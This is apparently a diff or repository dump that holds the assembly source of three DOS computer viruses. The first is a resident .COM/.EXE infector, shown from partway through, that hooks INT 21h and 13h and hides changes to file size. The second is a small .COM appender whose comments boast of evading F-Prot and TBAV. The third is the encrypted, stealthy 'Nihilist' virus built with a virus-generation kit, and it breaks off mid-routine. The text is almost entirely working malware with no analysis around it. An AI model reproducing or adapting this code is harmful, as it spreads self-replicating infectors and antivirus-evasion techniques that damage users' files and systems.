pop bx
|
||||
pop ax
|
||||
|
||||
Go_out:
|
||||
|
||||
jmp dword ptr cs:[current_21h-adjust] ;go to the old int 21
|
||||
|
||||
create_:
|
||||
|
||||
or bl,bl ;Create file?
|
||||
jnz Return_Control
|
||||
mov dx,si
|
||||
jmp Function_4Bh
|
||||
|
||||
ren_FCB:
|
||||
|
||||
cld
|
||||
inc dx
|
||||
mov si,dx
|
||||
mov di,offset buffer-adjust
|
||||
push di
|
||||
push cs
|
||||
pop es ;Convert FCB format Fname into ASCIIZ string
|
||||
mov cx,8
|
||||
rep movsb
|
||||
mov al,'.'
|
||||
stosb
|
||||
mov cx,3
|
||||
rep movsb
|
||||
sub al,al
|
||||
stosb
|
||||
pop dx
|
||||
push cs
|
||||
pop ds
|
||||
jmp Function_4Bh
|
||||
|
||||
create:
|
||||
|
||||
; cmp word ptr cs:[handle-adjust],0ffff
|
||||
; jne Go_out
|
||||
|
||||
call Call_Original_INT_21h
|
||||
jc Error
|
||||
mov word ptr cs:[handle-adjust],ax
|
||||
jnc Exit_
|
||||
Error:
|
||||
mov word ptr cs:[handle-adjust],0ffff ;Useless
|
||||
Exit_:
|
||||
; retf 2
|
||||
db 0ca,2,0
|
||||
|
||||
close_:
|
||||
cmp word ptr cs:[handle-adjust],0ffff
|
||||
je Return_Control
|
||||
cmp bx,word ptr cs:[handle-adjust]
|
||||
jne Return_Control
|
||||
|
||||
mov ah,45
|
||||
call Infect_It
|
||||
mov word ptr cs:[handle-adjust],0ffff
|
||||
jmp Return_Control
|
||||
|
||||
Function_4Bh:
|
||||
|
||||
mov ax,3d00h
|
||||
open:
|
||||
call Infect_It
|
||||
jmp Return_Control
|
||||
|
||||
;******************************************
|
||||
; *
|
||||
; This infects the programs... *
|
||||
; *
|
||||
;******************************************
|
||||
|
||||
Infect_It:
|
||||
|
||||
call Call_Original_INT_21h ;this is the infecting part
|
||||
jnc No_error
|
||||
ret
|
||||
|
||||
No_error:
|
||||
|
||||
xchg ax,bp
|
||||
mov byte ptr cs:[flag-adjust],0
|
||||
mov ah,54
|
||||
call Call_Original_INT_21h
|
||||
mov byte ptr cs:[veri-adjust],al
|
||||
cmp al,1 ;Switch off verify...
|
||||
jne Go_On_Setting
|
||||
mov ax,2e00
|
||||
call Call_Original_INT_21h
|
||||
|
||||
Go_On_Setting:
|
||||
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
mov dx,offset DOS_13h-adjust
|
||||
mov bx,dx ;Set New DOS int 13h
|
||||
mov ah,13
|
||||
call Call_Original_INT_2Fh
|
||||
|
||||
mov ax,3513
|
||||
call Call_Original_INT_21h
|
||||
push bx
|
||||
push es
|
||||
|
||||
mov word ptr cs:[current_13h-adjust],bx
|
||||
mov word ptr cs:[current_13h-adjust+2],es
|
||||
|
||||
mov ah,25
|
||||
mov dx,INT_13h_entry-adjust ;Set int 13h
|
||||
push cs
|
||||
pop ds
|
||||
call Call_Original_INT_21h
|
||||
|
||||
mov ax,3524
|
||||
call Call_Original_INT_21h
|
||||
push bx
|
||||
push es
|
||||
|
||||
mov ah,25
|
||||
mov dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...).
|
||||
call Call_Original_INT_21h
|
||||
|
||||
xchg bx,bp
|
||||
push bx
|
||||
mov ax,1220
|
||||
call Call_Original_INT_2Fh
|
||||
mov bl,es:[di] ;Remember the good old V512 ?
|
||||
mov ax,1216
|
||||
call Call_Original_INT_2Fh
|
||||
pop bx
|
||||
add di,11
|
||||
|
||||
mov byte ptr es:[di-15d],2
|
||||
mov ax,es:[di]
|
||||
mov dx,es:[di+2]
|
||||
cmp ax,Virus_lenght+1
|
||||
sbb dx,0
|
||||
jnb Go_on
|
||||
jmp close
|
||||
Go_on:
|
||||
cmp byte ptr cs:[function-adjust],3dh
|
||||
je Scan_name
|
||||
cmp byte ptr cs:[function-adjust],6ch
|
||||
jne Dont_Scan_Name
|
||||
|
||||
Scan_name:
|
||||
|
||||
push di
|
||||
add di,0f
|
||||
mov si,offset fname-adjust ;wasn't that the last opened file?
|
||||
cld
|
||||
mov cx,8+3
|
||||
rep cmpsb
|
||||
pop di
|
||||
jne Dont_Scan_Name
|
||||
jmp close
|
||||
|
||||
Dont_Scan_Name:
|
||||
|
||||
cmp es:[di+18],'MO'
|
||||
jne Check_For_EXE ;check for .COM file
|
||||
cmp byte ptr es:[di+17],'C'
|
||||
jne Check_For_EXE
|
||||
jmp com
|
||||
|
||||
Check_For_EXE:
|
||||
|
||||
cmp es:[di+18],'EX'
|
||||
jne Not_good ;check for .EXE file
|
||||
cmp byte ptr es:[di+17],'E'
|
||||
je Check_For_Valid_EXE
|
||||
|
||||
Not_good:
|
||||
|
||||
jmp close
|
||||
|
||||
Check_For_Valid_EXE:
|
||||
|
||||
call Read_First_18
|
||||
cmp word ptr [si],'ZM'
|
||||
je Valid_EXE ;check for valid .EXE file
|
||||
cmp word ptr [si],'MZ'
|
||||
je Valid_EXE
|
||||
jmp close
|
||||
|
||||
Valid_EXE:
|
||||
|
||||
cmp word ptr [si+0c],0ffff ;only low-mem .EXE
|
||||
je Low_Mem
|
||||
jmp close
|
||||
|
||||
Low_Mem:
|
||||
|
||||
mov cx,[si+16]
|
||||
add cx,[si+8] ;Something common with EDDIE..
|
||||
mov ax,10
|
||||
mul cx
|
||||
add ax,[si+14]
|
||||
adc dx,0
|
||||
mov cx,es:[di]
|
||||
sub cx,ax
|
||||
xchg cx,ax
|
||||
mov cx,es:[di+2]
|
||||
sbb cx,dx
|
||||
or cx,cx
|
||||
jnz Not_Infected_EXE ;infected?
|
||||
cmp ax,(endcode-Start_Virus)
|
||||
jne Not_Infected_EXE
|
||||
jmp close
|
||||
|
||||
Not_Infected_EXE:
|
||||
|
||||
mov ax,[si+10]
|
||||
mov [SP_save-adjust],ax
|
||||
mov ax,[si+0e]
|
||||
mov [SS_save-adjust],ax
|
||||
mov ax,[si+14]
|
||||
mov [IP_save-adjust],ax
|
||||
mov ax,[si+16]
|
||||
mov [CS_save-adjust],ax ;set the new header
|
||||
mov ax,es:[di]
|
||||
mov dx,es:[di+2]
|
||||
|
||||
add ax,Virus_lenght
|
||||
adc dx,0
|
||||
mov cx,200 ;(C) by Lubo & Jan...
|
||||
div cx
|
||||
mov [si+2],dx
|
||||
or dx,dx
|
||||
jz OK_MOD
|
||||
inc ax
|
||||
|
||||
OK_MOD:
|
||||
mov [si+4],ax
|
||||
mov ax,es:[di]
|
||||
mov dx,es:[di+2]
|
||||
|
||||
mov cx,4
|
||||
push ax
|
||||
|
||||
Compute:
|
||||
|
||||
shr dx,1
|
||||
rcr ax,1
|
||||
loop Compute
|
||||
pop dx
|
||||
and dx,0f
|
||||
|
||||
sub ax,[si+8]
|
||||
add dx,Start_Virus-adjust
|
||||
adc ax,0
|
||||
mov [si+14],dx
|
||||
mov [si+16],ax
|
||||
add ax,(Virus_lenght)/16d+1
|
||||
mov [si+0eh],ax
|
||||
mov [si+10],100
|
||||
write:
|
||||
mov ax,5700
|
||||
call Call_Original_INT_21h
|
||||
push cx
|
||||
push dx
|
||||
|
||||
sub cx,cx
|
||||
mov es:[di+4],cx
|
||||
mov es:[di+6],cx
|
||||
mov cl,20
|
||||
xchg cl,byte ptr es:[di-0dh]
|
||||
push cx
|
||||
mov ah,40 ;this writes the first few bytes and glues the virus
|
||||
mov dx,buffer-adjust
|
||||
mov cx,18
|
||||
|
||||
call Call_Original_INT_21h
|
||||
mov ax,es:[di]
|
||||
mov es:[di+4],ax
|
||||
mov ax,es:[di+2]
|
||||
mov es:[di+6],ax
|
||||
call Check_For_COMMAND ;(C)
|
||||
jne Dont_Adjust_Size
|
||||
sub es:[di+4],Virus_lenght
|
||||
sbb es:[di+6],0 ;???????????????????????????????
|
||||
|
||||
Dont_Adjust_Size:
|
||||
|
||||
mov ah,40
|
||||
sub dx,dx
|
||||
mov cx,Virus_lenght
|
||||
call Call_Original_INT_21h
|
||||
|
||||
pop cx
|
||||
mov byte ptr es:[di-0dh],cl
|
||||
pop dx
|
||||
pop cx
|
||||
|
||||
cmp byte ptr cs:[flag-adjust],0ff
|
||||
je Set_Time_and_Date
|
||||
exit:
|
||||
call Check_For_COMMAND
|
||||
je Set_Time_and_Date
|
||||
and cl,11100000b
|
||||
or cl,60d/2
|
||||
|
||||
Set_Time_and_Date:
|
||||
|
||||
mov ax,5701
|
||||
call Call_Original_INT_21h
|
||||
close:
|
||||
|
||||
mov ah,3e
|
||||
call Call_Original_INT_21h
|
||||
push es
|
||||
pop ds
|
||||
mov si,di
|
||||
add si,0f
|
||||
mov di,fname-adjust
|
||||
push cs
|
||||
pop es
|
||||
mov cx,8+3 ;save the fname to a quit place
|
||||
cld
|
||||
rep movsb
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cmp byte ptr cs:[flag-adjust],0ff
|
||||
jne Dont_Clear_Buffers
|
||||
mov ah,0dh ;if error occured->clear disk buffers
|
||||
|
||||
call Call_Original_INT_21h
|
||||
|
||||
Dont_Clear_Buffers:
|
||||
|
||||
les bx,[org_13h-adjust]
|
||||
lds dx,[org_13h-adjust]
|
||||
mov ah,13
|
||||
call Call_Original_INT_2Fh
|
||||
|
||||
cmp byte ptr cs:[veri-adjust],1
|
||||
jne Restore_Vectors
|
||||
mov ax,2e01
|
||||
|
||||
call Call_Original_INT_21h
|
||||
|
||||
Restore_Vectors:
|
||||
|
||||
sub ax,ax
|
||||
mov ds,ax
|
||||
pop [24*4+2]
|
||||
pop [24*4]
|
||||
pop [13*4+2]
|
||||
pop [13*4] ;restore vectors and return
|
||||
ret
|
||||
com:
|
||||
test byte ptr es:[di-0dh],4 ;if it is a system file
|
||||
jnz Not_OK_COM_File ;I had some problems here with
|
||||
;V1160 & V1776 (with the ball)
|
||||
cmp es:[di],65535d-Virus_lenght*2-100
|
||||
ja Not_OK_COM_File
|
||||
|
||||
call Read_First_18
|
||||
cmp byte ptr [si],0E9
|
||||
jne OK_COM_file
|
||||
mov ax,es:[di]
|
||||
sub ax,[si+1] ;infected?
|
||||
cmp ax,(endcode-Start_Virus+3)
|
||||
je Not_OK_COM_File
|
||||
|
||||
OK_COM_file:
|
||||
|
||||
mov word ptr [SS_save-adjust],0FFFF
|
||||
push si
|
||||
lodsb
|
||||
mov word ptr [First_3-adjust],ax
|
||||
lodsw
|
||||
mov word ptr [First_3-adjust+1],ax
|
||||
pop si
|
||||
mov ax,es:[di]
|
||||
add ax,Start_Virus-adjust-3
|
||||
call Check_For_COMMAND
|
||||
jne Normally
|
||||
sub ax,Virus_lenght
|
||||
|
||||
Normally:
|
||||
|
||||
mov byte ptr [si],0E9
|
||||
mov word ptr [si+1],ax
|
||||
jmp write
|
||||
|
||||
Not_OK_COM_File:
|
||||
|
||||
jmp close
|
||||
|
||||
Set_Vectors:
|
||||
|
||||
sub ax,ax
|
||||
mov ds,ax
|
||||
|
||||
push [1*4]
|
||||
push [1*4+2] ; <= (C) by N.Hacker.
|
||||
|
||||
pushf
|
||||
pushf
|
||||
pushf
|
||||
pushf
|
||||
|
||||
mov byte ptr cs:[flag-adjust],ah
|
||||
mov byte ptr cs:[my_flag-adjust],ah
|
||||
mov word ptr cs:[limit-adjust],300
|
||||
mov word ptr cs:[mem_-adjust],org_21h-adjust
|
||||
|
||||
mov [1*4],offset trap-adjust
|
||||
mov [1*4+2],cs
|
||||
|
||||
call set_trace
|
||||
|
||||
mov ax,3521
|
||||
|
||||
call dword ptr [21h*4]
|
||||
|
||||
|
||||
mov byte ptr cs:[flag-adjust],0
|
||||
mov word ptr cs:[mem_-adjust],org_2fh-adjust
|
||||
|
||||
call set_trace
|
||||
|
||||
mov ax,1200
|
||||
|
||||
call dword ptr [2fh*4] ;do trace int 2f
|
||||
|
||||
|
||||
mov byte ptr cs:[flag-adjust],0
|
||||
mov byte ptr cs:[my_flag-adjust],0FF
|
||||
mov word ptr cs:[limit-adjust],0C800
|
||||
mov word ptr cs:[mem_-adjust],org_13h-adjust
|
||||
|
||||
call set_trace
|
||||
|
||||
sub ax,ax
|
||||
mov dl,al
|
||||
|
||||
call dword ptr [13h*4] ;do trace int 13
|
||||
|
||||
mov byte ptr cs:[flag-adjust],0
|
||||
mov word ptr cs:[limit-adjust],0F000
|
||||
mov word ptr cs:[mem_-adjust],Floppy_org_13h-adjust
|
||||
|
||||
call set_trace
|
||||
|
||||
sub ax,ax
|
||||
mov dl,al
|
||||
|
||||
call dword ptr [13h*4]
|
||||
|
||||
pop [1*4+2]
|
||||
pop [1*4]
|
||||
|
||||
les ax,[21*4]
|
||||
mov word ptr cs:[current_21h-adjust],ax ;get old int 21
|
||||
mov word ptr cs:[current_21h-adjust+2],es
|
||||
mov [21*4], INT_21h_Entry_Point-adjust ;set it
|
||||
mov [21*4+2],cs
|
||||
retf
|
||||
|
||||
set_trace:
|
||||
|
||||
pushf
|
||||
pop ax
|
||||
or ax,100
|
||||
push ax
|
||||
popf
|
||||
ret
|
||||
|
||||
trap:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push bx
|
||||
push di
|
||||
cmp byte ptr cs:[flag-adjust],0ff
|
||||
je off
|
||||
mov di,word ptr cs:[mem_-adjust]
|
||||
mov bx,word ptr cs:[limit-adjust]
|
||||
cmp [bp+4],bx
|
||||
pushf
|
||||
cmp word ptr cs:[my_flag-adjust],0ff
|
||||
jne It_Is_JA
|
||||
|
||||
popf
|
||||
jb Go_out_of_trap
|
||||
jmp It_Is_JB
|
||||
|
||||
It_Is_JA:
|
||||
|
||||
popf
|
||||
ja Go_out_of_trap
|
||||
|
||||
It_Is_JB:
|
||||
|
||||
mov bx,[bp+2]
|
||||
mov word ptr cs:[di],bx
|
||||
mov bx,[bp+4]
|
||||
mov word ptr cs:[di+2],bx
|
||||
mov byte ptr cs:[flag-adjust],0ff
|
||||
off:
|
||||
and [bp+6],0feff
|
||||
|
||||
Go_out_of_trap:
|
||||
|
||||
pop di
|
||||
pop bx
|
||||
pop bp
|
||||
iret
|
||||
|
||||
Call_Original_INT_21h:
|
||||
|
||||
pushf
|
||||
call dword ptr cs:[org_21h-adjust]
|
||||
ret
|
||||
|
||||
Call_Original_INT_2Fh:
|
||||
|
||||
pushf
|
||||
call dword ptr cs:[org_2fh-adjust]
|
||||
ret
|
||||
|
||||
INT_24h_entry:
|
||||
|
||||
mov al,3
|
||||
iret
|
||||
|
||||
;**************************
|
||||
; (C) by N.Hacker. *
|
||||
; (bellow) *
|
||||
;**************************
|
||||
|
||||
INT_13h_entry:
|
||||
|
||||
mov byte ptr cs:[next_flag-adjust],0
|
||||
|
||||
cmp ah,2
|
||||
jne Other
|
||||
|
||||
cmp byte ptr cs:[function-adjust],03Eh
|
||||
jne Dont_hide
|
||||
|
||||
dec byte ptr cs:[next_flag-adjust]
|
||||
inc ah
|
||||
jmp Dont_hide
|
||||
|
||||
Other:
|
||||
|
||||
cmp ah,3
|
||||
jne Dont_hide
|
||||
|
||||
cmp byte ptr cs:[flag-adjust],0ff
|
||||
je no_error_
|
||||
|
||||
cmp byte ptr cs:[function-adjust],03Eh
|
||||
je Dont_hide
|
||||
|
||||
inc byte ptr cs:[next_flag-adjust]
|
||||
dec ah
|
||||
|
||||
Dont_hide:
|
||||
|
||||
pushf
|
||||
call dword ptr cs:[current_13h-adjust]
|
||||
jnc no_error_
|
||||
mov byte ptr cs:[flag-adjust],0ff
|
||||
|
||||
no_error_:
|
||||
|
||||
clc
|
||||
db 0ca,02,0 ;retf 2
|
||||
|
||||
|
||||
DOS_13h:
|
||||
|
||||
cmp byte ptr cs:[next_flag-adjust],0
|
||||
je OK
|
||||
|
||||
cmp ah,2
|
||||
je Next
|
||||
cmp ah,3
|
||||
jne OK
|
||||
Next:
|
||||
cmp byte ptr cs:[next_flag-adjust],1
|
||||
jne Read
|
||||
inc ah
|
||||
jne OK
|
||||
Read:
|
||||
|
||||
dec ah
|
||||
OK:
|
||||
test dl,80
|
||||
jz Floppy
|
||||
jmp dword ptr cs:[org_13h-adjust]
|
||||
Floppy:
|
||||
jmp dword ptr cs:[Floppy_org_13h-adjust]
|
||||
|
||||
|
||||
Read_First_18:
|
||||
|
||||
sub ax,ax
|
||||
mov es:[di+4],ax
|
||||
mov es:[di+6],ax
|
||||
mov ah,3f
|
||||
mov cx,18
|
||||
mov dx,buffer-adjust
|
||||
mov si,dx
|
||||
call Call_Original_INT_21h
|
||||
ret
|
||||
|
||||
Check_For_COMMAND:
|
||||
|
||||
cmp es:[di+0f],'OC'
|
||||
jne Not_COMMAND
|
||||
cmp es:[di+11],'MM'
|
||||
jne Not_COMMAND
|
||||
cmp es:[di+13],'NA'
|
||||
jne Not_COMMAND ;check for command.com
|
||||
cmp es:[di+15],' D'
|
||||
jne Not_COMMAND
|
||||
cmp es:[di+17],'OC'
|
||||
jne Not_COMMAND
|
||||
cmp byte ptr es:[di+19],'M'
|
||||
|
||||
Not_COMMAND:
|
||||
|
||||
ret
|
||||
|
||||
endcode label word
|
||||
|
||||
current_21h dd ?
|
||||
null dd ? ;I forgot to remove this variable...
|
||||
current_13h dd ?
|
||||
org_2fh dd ?
|
||||
org_13h dd ?
|
||||
org_21h dd ?
|
||||
Floppy_org_13h dd ?
|
||||
flag db ? ;0ff if error occures
|
||||
veri db ?
|
||||
handle dw ?
|
||||
fname db 8+3 dup (?)
|
||||
function db ?
|
||||
my_flag db ?
|
||||
limit dw ?
|
||||
mem_ dw ?
|
||||
next_flag db ?
|
||||
|
||||
buffer label word
|
||||
|
|
@ -0,0 +1,119 @@
|
|||
;
|
||||
; Simple com appender destined to be another SillyC
|
||||
; so im putting the file name in as the virus name .. nuff said
|
||||
;
|
||||
; Unscannable by F-Prot & by TBAV with no flags
|
||||
; Uses a novel way of beating S flag
|
||||
;
|
||||
; Scans as a VCL/IVP variant with AVP/DSAV
|
||||
;
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
begin:
|
||||
db 0E9h
|
||||
dw offset start-103h
|
||||
start:
|
||||
call delta
|
||||
delta:
|
||||
pop bp
|
||||
sub bp,offset delta
|
||||
and word ptr [begin],0
|
||||
and byte ptr [begin+2],0
|
||||
or ah,[old_bytes+bp]
|
||||
or al,[old_bytes+bp+1]
|
||||
or bh,[old_bytes+bp+2]
|
||||
or byte ptr [begin],ah
|
||||
or byte ptr [begin+1],al
|
||||
or byte ptr [begin+2],bh
|
||||
and byte ptr [f_string+bp],7Fh
|
||||
and byte ptr [f_string+bp+1],7Fh
|
||||
and byte ptr [f_string+bp+2],7Fh
|
||||
and byte ptr [f_string+bp+3],7Fh
|
||||
and byte ptr [f_string+bp+4],7Fh
|
||||
mov dh,1ah
|
||||
lea ax,[bp+offset dta]
|
||||
xchg ax,dx
|
||||
int 21h
|
||||
mov dh,4eh
|
||||
find_next:
|
||||
xor cx,cx
|
||||
lea ax,[bp+offset f_string]
|
||||
xchg ax,dx
|
||||
int 21h
|
||||
jc done2
|
||||
mov cl,[dta+1ah+bp]
|
||||
mov ch,[dta+1bh+bp]
|
||||
sub cx,3
|
||||
mov [new_bytes+1+bp],cl
|
||||
mov [new_bytes+2+bp],ch
|
||||
mov dx,3D02h
|
||||
lea ax,[bp+offset dta+1Eh]
|
||||
xchg ax,dx
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
mov dh,3fh
|
||||
mov cx,3
|
||||
lea ax,[bp+offset old_bytes]
|
||||
xchg ax,dx
|
||||
int 21h
|
||||
cmp [bp+old_bytes],0E9h
|
||||
jne okay
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
mov dh,4fh
|
||||
jmp find_next
|
||||
done2:
|
||||
jmp done
|
||||
okay:
|
||||
mov dx,4200h
|
||||
xor cx,cx
|
||||
xor ax,ax
|
||||
xchg ax,dx
|
||||
int 21h
|
||||
mov dh,40h
|
||||
mov cx,3
|
||||
lea ax,[bp+offset new_bytes]
|
||||
xchg ax,dx
|
||||
and byte ptr [n1+bp+1],7fh
|
||||
n1:
|
||||
int 0A1h
|
||||
mov byte ptr [n1+bp+1],0A1h
|
||||
mov dx,4202h
|
||||
xor cx,cx
|
||||
xor ax,ax
|
||||
xchg ax,dx
|
||||
int 21h
|
||||
mov dh,40h
|
||||
mov cx, offset theend - offset start + 56
|
||||
or byte ptr [f_string+bp],80h
|
||||
or byte ptr [f_string+bp+1],80h
|
||||
or byte ptr [f_string+bp+2],80h
|
||||
or byte ptr [f_string+bp+3],80h
|
||||
or byte ptr [f_string+bp+4],80h
|
||||
lea ax,[bp+offset start]
|
||||
xchg ax,dx
|
||||
and byte ptr [n2+bp+1],7fh
|
||||
n2:
|
||||
int 0A1h
|
||||
mov ah,3Eh
|
||||
int 21h
|
||||
done:
|
||||
mov ax,101h
|
||||
xor bx,bx
|
||||
xchg ax,bx
|
||||
xor cx,cx
|
||||
dec bx
|
||||
xor dx,dx
|
||||
push bx
|
||||
xor bp,bp
|
||||
xor bx,bx
|
||||
ret
|
||||
;danke db 'Nightwak'
|
||||
theend:
|
||||
.data
|
||||
old_bytes db 0c3h,90h,90h
|
||||
new_bytes db 0E9h, 2 dup (0)
|
||||
dta db 42 dup(0)
|
||||
f_string db '*'+80h,'.'+80h,'c'+80h,'o'+80h,'m'+80h,0,0
|
||||
end begin
|
|
@ -0,0 +1,473 @@
|
|||
; nihilist.asm : [Nihilist]
|
||||
; Created with Biological Warfare - Version 0.90á by MnemoniX
|
||||
|
||||
PING equ 0D86Bh
|
||||
PONG equ 043C4h
|
||||
STAMP equ 25
|
||||
MARKER equ 0F0FFh
|
||||
|
||||
code segment
|
||||
org 0
|
||||
assume cs:code,ds:code
|
||||
|
||||
start:
|
||||
db 0E9h,3,0 ; to virus
|
||||
host:
|
||||
db 0CDh,20h,0 ; host program
|
||||
virus_begin:
|
||||
|
||||
mov dx,VIRUS_SIZE / 2 + 1
|
||||
db 0BBh ; decryption module
|
||||
code_offset dw offset virus_code
|
||||
|
||||
decrypt:
|
||||
db 02Eh,081h,37h ; XOR CS:[BX]
|
||||
cipher dw 0
|
||||
inc bx
|
||||
inc bx
|
||||
dec dx
|
||||
jnz decrypt
|
||||
|
||||
|
||||
virus_code:
|
||||
push ds es
|
||||
|
||||
call $ + 3 ; BP is instruction ptr.
|
||||
pop bp
|
||||
sub bp,offset $ - 1
|
||||
|
||||
xor ax,ax ; mild anti-trace code
|
||||
mov es,ax ; kill interrupts 1 & 3
|
||||
mov di,6
|
||||
stosw
|
||||
mov di,14
|
||||
stosw
|
||||
|
||||
in al,21h ; lock out & reopen keyboard
|
||||
xor al,2
|
||||
out 21h,al
|
||||
xor al,2
|
||||
out 21h,al
|
||||
|
||||
mov ax,PING ; test for residency
|
||||
int 21h
|
||||
cmp cx,PONG
|
||||
je installed
|
||||
|
||||
mov ax,es ; Get PSP
|
||||
dec ax
|
||||
mov ds,ax ; Get MCB
|
||||
|
||||
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
|
||||
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
|
||||
mov es,word ptr ds:[12h]
|
||||
|
||||
push cs ; copy virus into memory
|
||||
pop ds
|
||||
xor di,di
|
||||
mov si,bp
|
||||
mov cx,(virus_end - start) / 2 + 1
|
||||
rep movsw
|
||||
|
||||
xor ax,ax ; capture interrupts
|
||||
mov ds,ax
|
||||
|
||||
mov si,21h * 4 ; get original int 21
|
||||
mov di,offset old_int_21
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov word ptr ds:[si - 4],offset new_int_21
|
||||
mov ds:[si - 2],es ; and set new int 21
|
||||
|
||||
installed:
|
||||
call activate ; activation routine
|
||||
|
||||
pop es ds ; restore segregs
|
||||
cmp sp,MARKER ; check for .EXE
|
||||
je exe_exit
|
||||
|
||||
com_exit:
|
||||
lea si,[bp + host] ; restore host program
|
||||
mov di,100h
|
||||
push di
|
||||
movsw
|
||||
movsb
|
||||
|
||||
call fix_regs ; fix up registers
|
||||
ret ; and leave
|
||||
exe_exit:
|
||||
mov ax,ds ; fix up return address
|
||||
add ax,10h
|
||||
push ax
|
||||
add ax,cs:[bp + exe_cs]
|
||||
mov cs:[bp + return_cs],ax
|
||||
|
||||
mov ax,cs:[bp + exe_ip]
|
||||
mov cs:[bp + return_ip],ax
|
||||
|
||||
pop ax
|
||||
add ax,cs:[bp + exe_ss] ; restore stack
|
||||
cli
|
||||
mov ss,ax
|
||||
mov sp,cs:[bp + exe_sp]
|
||||
|
||||
call fix_regs ; fix up registers
|
||||
sti
|
||||
|
||||
db 0EAh ; back to host program
|
||||
return_ip dw 0
|
||||
return_cs dw 0
|
||||
|
||||
exe_cs dw -16 ; orig CS:IP
|
||||
exe_ip dw 103h
|
||||
exe_sp dw -2 ; orig SS:SP
|
||||
exe_ss dw -16
|
||||
|
||||
fix_regs:
|
||||
xor ax,ax
|
||||
cwd
|
||||
xor bx,bx
|
||||
mov si,100h
|
||||
xor di,di
|
||||
xor bp,bp
|
||||
ret
|
||||
|
||||
; interrupt 21 handler
|
||||
int_21:
|
||||
pushf
|
||||
call dword ptr cs:[old_int_21]
|
||||
ret
|
||||
|
||||
new_int_21:
|
||||
cmp ax,PING ; residency test
|
||||
je ping_pong
|
||||
cmp ah,11h ; directory stealth
|
||||
je dir_stealth
|
||||
cmp ah,12h
|
||||
je dir_stealth
|
||||
cmp ah,4Eh ; directory stealth
|
||||
je dir_stealth_2
|
||||
cmp ah,4Fh
|
||||
je dir_stealth_2
|
||||
cmp ah,3Dh ; file open
|
||||
je file_open
|
||||
cmp ax,4B00h ; execute program
|
||||
jne int_21_exit
|
||||
jmp execute
|
||||
int_21_exit:
|
||||
db 0EAh ; never mind ...
|
||||
old_int_21 dd 0
|
||||
|
||||
ping_pong:
|
||||
mov cx,PONG
|
||||
iret
|
||||
|
||||
dir_stealth:
|
||||
call int_21 ; get dir entry
|
||||
test al,al
|
||||
js dir_stealth_done
|
||||
|
||||
push ax bx es
|
||||
mov ah,2Fh
|
||||
int 21h
|
||||
|
||||
cmp byte ptr es:[bx],-1 ; check for extended FCB
|
||||
jne no_ext_FCB
|
||||
add bx,7
|
||||
no_ext_FCB:
|
||||
mov ax,es:[bx + 17h] ; check for infection marker
|
||||
and al,31
|
||||
cmp al,STAMP
|
||||
jne dir_fixed
|
||||
|
||||
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
|
||||
sbb word ptr es:[bx + 1Fh],0
|
||||
dir_fixed:
|
||||
pop es bx ax
|
||||
dir_stealth_done:
|
||||
iret
|
||||
|
||||
dir_stealth_2:
|
||||
pushf
|
||||
call dword ptr cs:[old_int_21]
|
||||
jc dir_stealth_done_2
|
||||
|
||||
check_infect2:
|
||||
push ax bx es
|
||||
|
||||
mov ah,2Fh
|
||||
int 21h
|
||||
mov ax,es:[bx + 16h]
|
||||
and al,31 ; check timestamp
|
||||
cmp al,STAMP
|
||||
jne fixed_2
|
||||
|
||||
sub es:[bx + 1Ah],VIRUS_SIZE + 3
|
||||
sbb word ptr es:[bx + 1Ch],0
|
||||
|
||||
fixed_2:
|
||||
pop es bx ax
|
||||
clc ; clear carry
|
||||
dir_stealth_done_2:
|
||||
retf 2
|
||||
|
||||
file_open:
|
||||
push ax cx di es
|
||||
call get_extension
|
||||
cmp [di],'OC' ; .COM file?
|
||||
jne perhaps_exe ; perhaps .EXE then
|
||||
cmp byte ptr [di + 2],'M'
|
||||
jne not_prog
|
||||
jmp a_program
|
||||
perhaps_exe:
|
||||
cmp [di],'XE' ; .EXE file?
|
||||
jne not_prog
|
||||
cmp byte ptr [di + 2],'E'
|
||||
jne not_prog
|
||||
a_program:
|
||||
pop es di cx ax
|
||||
jmp execute ; infect file
|
||||
not_prog:
|
||||
pop es di cx ax
|
||||
jmp int_21_exit
|
||||
|
||||
execute:
|
||||
push ax bx cx dx si di ds es
|
||||
|
||||
call get_extension ; check filename
|
||||
cmp es:[di - 3],'DN' ; skip if COMMAND
|
||||
jne open_file
|
||||
jmp cant_open
|
||||
|
||||
open_file:
|
||||
xor ax,ax ; critical error handler
|
||||
mov es,ax ; routine - catch int 24
|
||||
mov es:[24h * 4],offset int_24
|
||||
mov es:[24h * 4 + 2],cs
|
||||
|
||||
mov ax,4300h ; change attributes
|
||||
int 21h
|
||||
|
||||
push cx dx ds
|
||||
xor cx,cx
|
||||
call set_attributes
|
||||
|
||||
mov ax,3D02h ; open file
|
||||
call int_21
|
||||
jc cant_open
|
||||
xchg bx,ax
|
||||
|
||||
push cs ; CS = DS
|
||||
pop ds
|
||||
|
||||
mov ax,5700h ; save file date/time
|
||||
int 21h
|
||||
push cx dx
|
||||
mov ah,3Fh
|
||||
mov cx,28
|
||||
mov dx,offset read_buffer
|
||||
int 21h
|
||||
|
||||
cmp word ptr read_buffer,'ZM' ; .EXE?
|
||||
je infect_exe ; yes, infect as .EXE
|
||||
|
||||
mov al,2 ; move to end of file
|
||||
call move_file_ptr
|
||||
|
||||
cmp dx,65279 - (VIRUS_SIZE + 3)
|
||||
ja dont_infect ; too big, don't infect
|
||||
|
||||
sub dx,VIRUS_SIZE + 3 ; check for previous infection
|
||||
cmp dx,word ptr read_buffer + 1
|
||||
je dont_infect
|
||||
|
||||
add dx,VIRUS_SIZE + 3
|
||||
mov word ptr new_jump + 1,dx
|
||||
|
||||
add dx,103h
|
||||
call encrypt_code ; encrypt virus
|
||||
|
||||
mov dx,offset read_buffer ; save original program head
|
||||
int 21h
|
||||
|
||||
mov ah,40h ; write virus to file
|
||||
mov cx,VIRUS_SIZE
|
||||
mov dx,offset encrypt_buffer
|
||||
int 21h
|
||||
|
||||
xor al,al ; back to beginning of file
|
||||
call move_file_ptr
|
||||
|
||||
mov dx,offset new_jump ; and write new jump
|
||||
int 21h
|
||||
|
||||
fix_date_time:
|
||||
